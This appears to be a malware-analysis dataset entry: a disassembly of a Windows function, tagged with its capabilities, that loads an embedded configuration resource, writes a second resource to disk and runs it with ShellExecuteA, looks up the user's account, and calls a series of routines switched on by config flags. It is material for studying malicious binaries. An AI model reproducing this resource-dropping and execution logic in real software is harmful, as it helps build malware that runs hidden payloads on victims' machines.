Function at 0x401d22
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7e0
push ebx
push esi
push edi
push 0xa
pop ecx
mov esi, 0x44e158
lea edi, [ebp - 0xcc]
push 0x10
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x44e144
lea edi, [ebp - 0x5c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov esi, 0x44e100
lea edi, [ebp - 0xa0]
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x44e0f0
lea edi, [ebp - 0x48]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x44e0e4
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x44e0d4
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [0x454580], bl
mov dword [ebp - 0x10], ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
je 0x401d9f
call fcn.0040186f
test eax, eax
jne 0x40202c
cmp byte [0x454583], bl
je 0x401db4
call fcn.004018a0
test eax, eax
jne 0x40202c
push 0xa
push 0x44e0d0
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x40202c
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40202c
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, 0xae
jne 0x40202c
push 0xad
push dword [ebp - 4]
push 0x454580
call fcn.00440090
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea eax, [ebp - 0xcc]
push eax
call fcn.00401c36
lea eax, [ebp - 0x5c]
push eax
call fcn.00401c36
lea eax, [ebp - 0xa0]
push eax
call fcn.00401c36
lea eax, [ebp - 0x48]
push eax
call fcn.00401c36
lea eax, [ebp - 0x24]
push eax
call fcn.00401c36
lea eax, [ebp - 0x38]
push eax
call fcn.00401c36
lea eax, [ebp - 0x4dc]
mov esi, 0x80000002
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0xcc]
push eax
push esi
call fcn.00401aef
add esp, 0x28
test eax, eax
je 0x40202c
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xa0]
push eax
push esi
call fcn.00401aef
add esp, 0x10
test eax, eax
je 0x40202c
lea eax, [ebp - 0x1d0]
dec esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xa0]
push eax
push esi
call fcn.00401aef
add esp, 0x10
test eax, eax
je 0x40202c
lea eax, [ebp - 0x5e0]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xa0]
push eax
push esi
call fcn.00401aef
add esp, 0x10
test eax, eax
je 0x40202c
push 0x454596
call fcn.00401c70
cmp byte [0x4545fa], bl
pop ecx
je 0x401fc6
mov esi, 0x4545fb
push esi
call fcn.00401c70
lea eax, [ebp - 0x1d0]
push eax
lea eax, [ebp - 0x2d4]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x2d4]
push 0x44e0cc
push eax
call fcn.0043f800
lea eax, [ebp - 0x2d4]
push esi
push eax
call fcn.0043f800
add esp, 0x1c
push 0xa
push 0x44e0c8
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x40202c
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40202c
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2d4]
push 0x44e0c4
push eax
call fcn.0043fd11
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x40202c
push edi
push 1
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.0043ff82
push edi
call fcn.0043fab7
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 1
push ebx
lea eax, [ebp - 0x2d4]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x14]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40202c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e0]
push 0x200
push eax
push 1
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x40202c
push 0x64
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push 0x454480
push eax
push 0x454500
push dword [ebp - 0x7e0]
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
test eax, eax
jne 0x402035
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
call fcn.00405575
cmp byte [0x454585], bl
je 0x402047
call 0x402187
cmp byte [0x454586], bl
je 0x402054
call fcn.004023d3
cmp byte [0x454587], bl
je 0x402069
lea eax, [ebp - 0x4dc]
push eax
call fcn.00402681
pop ecx
cmp byte [0x454588], bl
je 0x40207e
lea eax, [ebp - 0x1d0]
push eax
call fcn.004029e7
pop ecx
cmp byte [0x454589], bl
je 0x40208b
call fcn.00402b8d
cmp byte [0x45458a], bl
je 0x402098
call fcn.0043cfc6
cmp byte [0x45458b], bl
je 0x4020a5
call fcn.00402f35
cmp byte [0x45458c], bl
je 0x4020ba
lea eax, [ebp - 0x3d8]
push eax
call fcn.00403011
pop ecx
cmp byte [0x45458d], bl
je 0x4020cf
lea eax, [ebp - 0x1d0]
push eax
call fcn.00403219
pop ecx
cmp byte [0x45458e], bl
je 0x4020dc
call fcn.00403bb6
cmp byte [0x45458f], bl
je 0x4020f9
lea eax, [ebp - 0x5e0]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00403edd
pop ecx
pop ecx
cmp byte [0x454590], bl
je 0x40210e
lea eax, [ebp - 0x1d0]
push eax
call fcn.0040404c
pop ecx
cmp byte [0x454591], bl
je 0x40211b
call fcn.0040441d
cmp byte [0x454592], bl
je 0x402130
lea eax, [ebp - 0x1d0]
push eax
call fcn.00404612
pop ecx
cmp byte [0x454593], bl
je 0x402145
lea eax, [ebp - 0x3d8]
push eax
call fcn.0040482d
pop ecx
cmp byte [0x454594], bl
je 0x40215a
lea eax, [ebp - 0x1d0]
push eax
call fcn.00404aab
pop ecx
cmp byte [0x454595], bl
je 0x40216f
lea eax, [ebp - 0x1d0]
push eax
call fcn.00404f3a
pop ecx
call fcn.004057e7
cmp byte [0x454584], bl
je 0x402181
call fcn.004018d7
push ebx
call fcn.0043fead
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push esi
push edi
mov esi, 0x44e1a0
lea edi, [ebp - 0x7c]
push 5
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x44e18c
lea edi, [ebp - 0x90]
lea eax, [ebp - 0x7c]
xor ebx, ebx
push eax
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x54], 0xe0
mov word [ebp - 0x52], 0xc8
mov word [ebp - 0x50], 0x108
mov word [ebp - 0x4e], 0x110
mov word [ebp - 0x4c], 0xc0
mov word [ebp - 0x4a], 0x114
mov word [ebp - 0x48], pe_nt_image_headers32
mov word [ebp - 0x46], 0xdc
mov word [ebp - 0x44], 0xb4
mov word [ebp - 0x42], 0xe4
mov word [ebp - 0x40], 0x118
mov word [ebp - 0x3e], 0x114
mov word [ebp - 0x3c], 0x104
mov word [ebp - 0x3a], 0xb4
mov word [ebp - 0x38], 0xd0
mov word [ebp - 0x36], 0xdc
mov word [ebp - 0x34], 0xd0
mov word [ebp - 0x32], 0xe0
mov word [ebp - 0x30], 0xb4
mov word [ebp - 0x2e], 0xe0
mov word [ebp - 0x2c], pe_nt_image_headers32
mov word [ebp - 0x2a], 0xdc
mov word [ebp - 0x28], 0xc8
mov word [ebp - 0x26], 0xb4
mov word [ebp - 0x24], 0x110
mov word [ebp - 0x22], 0xd4
mov word [ebp - 0x20], 0x114
mov word [ebp - 0x1e], 0x118
mov word [ebp - 0x1c], 0x114
mov word [ebp - 0x1a], 0xd4
mov word [ebp - 0x18], 0x108
mov word [ebp - 0x16], 0xdc
mov word [ebp - 0x14], 0xdc
mov word [ebp - 0x12], 0xe4
mov word [ebp - 0x10], 0x108
mov word [ebp - 0xe], 0xc0
mov word [ebp - 0xc], bx
mov dword [ebp - 4], ebx
call fcn.00401c36
lea eax, [ebp - 0x90]
push eax
call fcn.00401c36
mov eax, dword [str.0_Yup4Xu_]
pop ecx
cmp eax, ebx
pop ecx
je 0x4023cc
cmp dword [0x453d04], ebx
je 0x4023cc
cmp dword [0x453d20], ebx
je 0x4023cc
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x7c]
push ebx
push ecx
call eax
lea eax, [ebp - 0x54]
xor esi, esi
cmp dword [ebp - 8], ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], 0x4a
mov edi, 0x44e188
jbe 0x40235a
mov eax, dword [ebp - 4]
mov ecx, dword [eax + esi*4]
lea eax, [eax + esi*4]
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x60], ecx
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x6c]
push eax
push 1
push ebx
lea eax, [ebp - 0x5c]
push ebx
push eax
lea eax, [ebp - 0x64]
push ebx
push eax
call dword [0x453d20]
push dword [ebp - 0x68]
lea eax, [ebp - 0xf4]
push 0x44e184
push eax
call fcn.0043fe2e
lea eax, [ebp - 0xf4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
push dword [eax + 0x30]
push 0x453d30
push edi
call fcn.004052cb
add esp, 0x1c
inc esi
cmp esi, dword [ebp - 8]
jb 0x4022f4
push dword [ebp - 4]
call dword [0x453d04]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x90]
push ebx
push eax
call dword [str.0_Yup4Xu_]
xor esi, esi
cmp dword [ebp - 8], ebx
jbe 0x4023be
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
push dword [eax + 0x1c]
lea eax, [ebp - 0xf4]
push 0x44e184
push eax
call fcn.0043fe2e
lea eax, [ebp - 0xf4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + esi*4]
push dword [eax + 0x30]
push 0x453d30
push edi
call fcn.004052cb
add esp, 0x1c
inc esi
cmp esi, dword [ebp - 8]
jb 0x402380
push dword [ebp - 4]
call dword [0x453d04]
push 1
pop eax
jmp 0x4023ce
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret